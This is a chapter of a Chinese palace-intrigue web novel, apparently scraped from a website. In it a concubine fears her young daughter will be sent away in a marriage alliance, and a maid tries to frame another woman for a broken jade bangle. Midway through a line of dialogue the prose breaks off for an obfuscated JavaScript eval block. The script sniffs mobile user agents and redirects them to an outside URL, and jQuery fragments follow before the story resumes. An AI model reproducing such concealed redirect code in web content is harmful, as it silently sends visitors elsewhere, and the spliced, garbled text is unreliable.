55. 万物和鸣(七)

作品:《宫门打工记

    成堆的奏折堆积如山,梧帝闭目养神,手中的笔不曾放下,值班的公公在外见许昭仪过来,手中还端了碗汤药,想着夏日,不好让后妃受热,连忙进去通报。


    梧帝道:“让她进来。”


    她撩裙跨入,步子端正,出不了一点差错,向皇上请安。


    梧帝“嗯”了一声。


    “陛下还是要注意身体,臣妾让人炖了补身子的汤,这时候宫中人大多在休息,皇上又何必苛责自己,将奏折放一放。”


    后宫不得干政,许昭仪不敢看奏折上的内容,身子一直侧着,因为和亲一事,许薛俩家没少上奏,譬如近日许家上书说薛家铺张浪费,吃穿用行皆用上品,薛家参许家纵容亲戚蛮狠无理。


    这样的折子一天能上五本。


    他搁置一旁,喝了一口许昭仪送来的汤药,而后便没有了要喝的意思。


    他伸手盖住了眼睛,许昭仪心中轻轻一叹,若说她有多爱梧帝,她自己都不信,世家女最忌讳的就是爱情,她们的婚姻都是为了家族,为了父亲的野心。


    女子若是嫁给不爱的男子,是极其痛苦的,不过,梧帝是一个极其清俊的男子,饱读诗书,若是不穿皇袍,他就像一个书生,知情识趣,自己在入宫时惋惜自己,见了一面梧帝,她便没有那么惋惜了。


    俊美也是一种资源。


    同样是嫁给不爱的人,一个俊美无双、风光霏月,文武双全,上能谈天下能谈低,说起话来娓娓道来之人,一个是粗鄙不堪,俗不可耐,相貌粗犷之人,前者更易让接受。


    见了梧帝,她更加坚定不能让自己的女儿去和亲。


    见梧帝眉眼疲倦,许昭仪替他捏了捏肩,柔声道:“是身体不舒服么,臣妾见皇上没休息好。”


    “无妨。”


    “皇上是不喜欢这汤吗?”见他对汤没有兴趣,她担忧着。


    “很好,只是朕没有胃口。”


    许昭仪听了,松了口气,“那就好,这汤我也给宋姑娘送了一份,臣妾还说要是不好,送过去失了礼。”


    梧帝瞧了瞧补汤,无奈道:“大补之物,过之易伤。”


    许昭仪慌了,采采道:“娘娘不要急,汤药送去后宋姑娘人被贵妃娘娘邀到流水榭庭赏花,人不在梨园,那补汤送过去凉快,自然不会宋姑娘喝了。”


    这句话的重点是:宋姑娘、薛贵妃,赏花,赏花是假,说枕边风是真,皇上你可千万不要信宋玳的话,万一她被薛贵妃收买了怎么办。


    见梧帝心忧政事,目的已经达到了,就不打扰了。


    —


    薛贵妃前前后后拉着宋玳好几次,这话传到了宣明殿,许昭仪气得脸上长了好几个痘,又让采采打听梧帝有没有过问,得到了答案后气得半死。


    索性连午膳都不吃了。


    廊道下,青眠鬼鬼祟祟,整个人都像是被人关在黑夜里的猫,她环视四周,见无人才敢将手打开,上面是一方普普通通,材质一般的手帕,手帕里包着一个远山镯。


    蓝白相间,远远望去,像蓝天白云、云中山峰。


    这镯子价值连城,且是梧帝前不久赐给许昭仪的。


    她不下心打碎了。


    许昭仪这些日子正在气头上,要是知道了,不得扒了一层皮,想到自己的悲惨下场,她的眼泪就要掉下来了,猛地发现有人经过,青眠鬼似的躲了起来。


    云若疑心道:“刚刚好像有什么东西唰了一下。”


    宋玳道:“我也看到了。”


    这几日姑娘都被贵妃缠了起来,宣明宫与景春宫挨得近,青眠心中像打鼓一样响,面露纠结,一咬牙,决定豁出去了!


    许昭仪不会要了宋玳的命,会要了她的命。


    注意打定,咬了咬牙,佯装无事走了过去。


    宋玳路上碰巧遇到了莫尔朵,她是六年前楼兰送来的美人,擅歌舞,听闻她翩翩起舞的姿态可以吸引蝴蝶缠绕,楼兰女子的头饰像一条项链,缀在头上,像星辰大海,腰间别着的链子精致小巧,很显腰型。


    楼兰一共送了俩位公主,她是其一。


    另一个性格嚣张跋扈,得罪了后妃,又与楼兰暗中勾结,赐了毒。


    莫尔朵同她说了几句话,问她什么时候有空,自己要来找她玩,宋玳想了一个时间,见她有急事,莫尔朵告辞。


    宋玳一转身,眼神稍不注意,撞了一个人,步子微微踉跄,未等她反应过来,玉器碎在了地上,眼见一个宫女蹲在地上,连连道歉,又用手一块一块捡着。


    云若认出她来了,嘴角微微轻咬,“是青眠啊。”她见宋玳微微疑惑,便向宋玳解释她是许昭仪身边的人。


    青眠眼角泛红,手微微颤抖,整个人都脱力跪在地上,整个人脸煞白煞白。


    支支吾吾,不敢瞧宋玳。


    “这是许昭仪最喜爱的镯子。”她想将错处归结到宋玳身上,心里的想法总是美好的,等付出行动才知道该有多难多难,这好像是在告诉她,她在嫁祸于一个无辜的人。


    青眠咬了咬唇,不知该如何。


    云若面色不太好,“这远山镯子是湖蓝色的,奴婢记着是皇上前段时间赐给许昭仪的。”


    “是,许昭仪近日在听安吉大师的佛法,避免冲撞了佛祖,特意摘下首饰,诚心求佛,便将这支镯子摘了下来,晚间奴婢还要送过去……”


    她的声音越来越低,心中却惊跳如雷,怦咚怦咚——她甚至因为紧张内疚害怕,能感觉胸腔在一点点跳动,听到它们在为自己害怕,甚至也能听到心中不规律的跳动的声音。


    她在等一个救命的机会。


    她真的想活下去,她几乎用祈求的目光望向宋玳,望着她面前这个清雅秀丽的女子,她的面容在后宫中着实不算得上美人,可她站在你的面前,你的所有目光又像是会被她吸引,这种感觉很奇异。


    宋玳就像冰层下的流水,静静地流淌着。


    “不知许昭仪现下是否有空闲?”宋玳露出一笑,眼里满是抱歉,她立马将碎镯拾起,一个水头极好的手镯碎成了四五块,玉碎了,便毫无用处。


    青眠还未反应过来,只见她用一种极其温柔的声音,说着世界上最动听的话,就好像是身处沙漠,又逢甘泉,温润着她焦痛的嗓子。


    “既然是我将昭仪娘娘心爱的玉镯打碎,自然由我亲自赔罪。”


    青眠连忙起身,“娘娘近日都在宣明宫,眼下应当是在点茶,姑娘请随奴婢来。”


    云若在她身后瞪了她一眼,青眠缩了缩脑袋。


    宣明宫的茶室里弥漫着一股茶香,就像雨后初晴由务农人从流淌着露水的茶叶中摘下,保留着茶叶最好的芬芳,许昭仪熟练地烹好了一壶茶。


    提壶。


    碧绿的茶水从上好的玉壶中流出,香味弥漫。


    采采道:“娘娘,宋姑娘求见。”


    “她来做什么?”许昭仪不得不想是不是什么阴谋诡计,或是攻心计,不过她并不反感宋玳过来,毕竟她入宫十六年来,从未参与过后宫之争,加之常常带着衔玉,衔玉很喜欢她。


    采采笑道:“青眠说她将娘娘的远山镯拿来时不小心被宋姑娘撞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279540|166768||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    落了。”


    许昭仪心中酝酿,连叫人将人请来。


    若是能打探一下口风,一只远山镯又算什么?


    十只百只都成,有什么比她的衔玉更为珍贵。


    一入茶室,宋玳便向许昭仪请安,眉眼和煦,嘴角带笑。


    做了母亲,许昭仪自己又有一个女儿,在心中想,自己的衔玉若是长成十六岁,该是多么动人,衔玉的声音比宋玳的甜美,性格也更加活泼,纯真无邪,一想到和亲一事,她的心都要揪起来,梧帝到现在都没有动作,可一日不给个准话,她一夜不得安眠。


    “玳今日不小心打碎了娘娘心爱的手镯,又听青眠说这是陛下赏赐的,惶恐不已……”以下的话还未说话,许昭仪便拉住她的手,亲切道,“一只镯子而已,小玳又何必局促。”


    宋玳轻轻一笑,“总归是我的不是,我也有一只相似的镯子,并未带过,等会便让云若送过来,还请娘娘不要介意,不要嫌弃。”


    许昭仪现在哪还顾得上镯子,她也不是一个会说话的人,要是让她学皇后那套滴水不漏,转世十辈子她也学不来,宋玳是聪明的,不需她多说。


    “本宫也不瞒你,相必你近日也听说了,楼兰提议和亲,下个月又是楼兰向梧朝贡的日子,楼兰的使者要送贡品,必定也要带一位公主回去,衔玉平日常常想着你,听说你病了,天天闹着去行宫,把陛下惹烦了,她也不死心。”


    许昭仪确实想借宋玳的口套出梧帝的意图,陛下想了这么些日子,她也想知道在俩位公主之间,谁去的可能性要大一些,若是玉安公主,她便加一把柴,若是自己的宝贝女儿,她拼死也要救回来。


    这番话也是流露真情,“本宫的衔玉才八岁,她如何能去和亲,和亲对公主来说又是何等屈辱,本宫听闻楼兰的王今年都已经五十岁了,若是衔玉已经满了十四,到了适婚的年纪,本宫也不至于夜夜忧心,可她才八岁,一个八岁的孩子,能懂什么呢。”


    宋玳下意识避开她的目光。


    许昭仪心一动,她带着歉意的笑容让她的心沉入了海底。


    “莫非,陛下是要衔玉去和亲?”


    宋玳无奈道:“娘娘……”


    她紧紧抓着宋玳的手,仿佛就像一根救命稻草,也不管这稻草是否真的能救命,眼泪夺眶而出,忍不住让她拿出帕子,掩了掩泪水,若非宋玳没有打碎她的镯,她又怎会知梧帝动了让衔玉去和亲的心思。


    许昭仪失语,一想到自己的女儿要去和亲,整个人无力的跪在在茶室中,她多希望宋玳能替她劝谏梧帝改变心愿,千言万语,化作一句:


    孩子若是不能和母亲在一起,日子有多难过。


    宋玳安抚了她,“和亲一事未定,娘娘无需提早忧心。”


    许昭仪听到未定,在心中宽慰自己,对啊,一切都未定不是么,自己有一个月时间,和亲使者来万一先看上了玉安呢,凡事都没有定数。


    云若果然送了一只玉镯,又送了一些助眠的香。


    采采不理解,“娘娘,既然我们要找宋姑娘说话,那又为何要收她的礼呢。”


    许昭仪摩挲了那只玉镯,并未答话。


    清眠送云若离开,一路上气氛紧绷到了极致,她心中确信云若瞧见了她栽赃陷害宋玳,心中忐忑极了,手放在袖子里摸到了一个荷包,里面有几块银子,她想找个机会给云若。


    可抬眼见了,又不敢了。


    “以后这种事不要做了。”云若冷冷道,“同为宫女,我知道你的苦楚,所以这件事到此为止,不要在有下次了。”